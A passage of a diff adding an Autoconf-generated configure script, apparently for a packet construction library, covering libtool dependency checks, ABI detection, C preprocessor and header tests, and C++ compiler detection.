lt_cv_file_magic_test_file=`echo /lib/libc.so* /lib/libc-*.so` + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +nto-qnx*) + lt_cv_deplibs_check_method=unknown + ;; + +openbsd*) + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +sco3.2v5*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac + +fi +echo "$as_me:$LINENO: result: $lt_cv_deplibs_check_method" >&5 +echo "${ECHO_T}$lt_cv_deplibs_check_method" >&6 +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Check whether --enable-libtool-lock or --disable-libtool-lock was given. +if test "${enable_libtool_lock+set}" = set; then + enableval="$enable_libtool_lock" + +fi; +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + case `/usr/bin/file conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE="32" + ;; + *ELF-64*) + HPUX_IA64_MODE="64" + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out which ABI we are using. + echo '#line 3806 "configure"' > conftest.$ac_ext + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + if test "$lt_cv_prog_gnu_ld" = yes; then + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + case "`/usr/bin/file conftest.o`" in + *32-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_i386" + ;; + ppc64-*linux*|powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + ppc*-*linux*|powerpc*-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -belf" + echo "$as_me:$LINENO: checking whether the C compiler needs -belf" >&5 +echo $ECHO_N "checking whether the C compiler needs -belf... $ECHO_C" >&6 +if test "${lt_cv_cc_needs_belf+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + lt_cv_cc_needs_belf=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +lt_cv_cc_needs_belf=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +fi +echo "$as_me:$LINENO: result: $lt_cv_cc_needs_belf" >&5 +echo "${ECHO_T}$lt_cv_cc_needs_belf" >&6 + if test x"$lt_cv_cc_needs_belf" != x"yes"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS="$SAVE_CFLAGS" + fi + ;; + +esac + +need_locks="$enable_libtool_lock" + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 +echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6 +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then + if test "${ac_cv_prog_CPP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Double quotes because CPP needs to be expanded + for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" + do + ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + # <limits.h> exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + Syntax error +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether non-existent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ac_nonexistent.h> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + break +fi + + done + ac_cv_prog_CPP=$CPP + +fi + CPP=$ac_cv_prog_CPP +else + ac_cv_prog_CPP=$CPP +fi +echo "$as_me:$LINENO: result: $CPP" >&5 +echo "${ECHO_T}$CPP" >&6 +ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + # <limits.h> exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + Syntax error +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether non-existent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ac_nonexistent.h> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + : +else + { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&5 +echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +echo "$as_me:$LINENO: checking for ANSI C header files" >&5 +echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 +if test "${ac_cv_header_stdc+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <stdlib.h> +#include <stdarg.h> +#include <string.h> +#include <float.h> + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_header_stdc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_header_stdc=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext + +if test $ac_cv_header_stdc = yes; then + # SunOS 4.x string.h does not declare mem*, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <string.h> + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "memchr" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <stdlib.h> + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "free" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. + if test "$cross_compiling" = yes; then + : +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ctype.h> +#if ((' ' & 0x0FF) == 0x020) +# define ISLOWER(c) ('a' <= (c) && (c) <= 'z') +# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) +#else +# define ISLOWER(c) \ + (('a' <= (c) && (c) <= 'i') \ + || ('j' <= (c) && (c) <= 'r') \ + || ('s' <= (c) && (c) <= 'z')) +# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) +#endif + +#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) +int +main () +{ + int i; + for (i = 0; i < 256; i++) + if (XOR (islower (i), ISLOWER (i)) + || toupper (i) != TOUPPER (i)) + exit(2); + exit (0); +} +_ACEOF +rm -f conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_header_stdc=no +fi +rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi +fi +fi +echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 +echo "${ECHO_T}$ac_cv_header_stdc" >&6 +if test $ac_cv_header_stdc = yes; then + +cat >>confdefs.h <<\_ACEOF +#define STDC_HEADERS 1 +_ACEOF + +fi + +# On IRIX 5.3, sys/types and inttypes.h are conflicting. + + + + + + + + + +for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ + inttypes.h stdint.h unistd.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +eval "$as_ac_Header=no" +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + +for ac_header in dlfcn.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 +else + # Is the header compilable? +echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_header_compiler=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6 + +# Is the header present? +echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi +rm -f conftest.err conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6 + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( + cat <<\_ASBOX +## ------------------------------------------------------ ## +## Report this to the Packet construction library lists. ## +## ------------------------------------------------------ ## +_ASBOX + ) | + sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + +ac_ext=cc +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu +if test -n "$ac_tool_prefix"; then + for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CXX"; then + ac_cv_prog_CXX="$CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +CXX=$ac_cv_prog_CXX +if test -n "$CXX"; then + echo "$as_me:$LINENO: result: $CXX" >&5 +echo "${ECHO_T}$CXX" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$CXX" && break + done +fi +if test -z "$CXX"; then + ac_ct_CXX=$CXX + for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 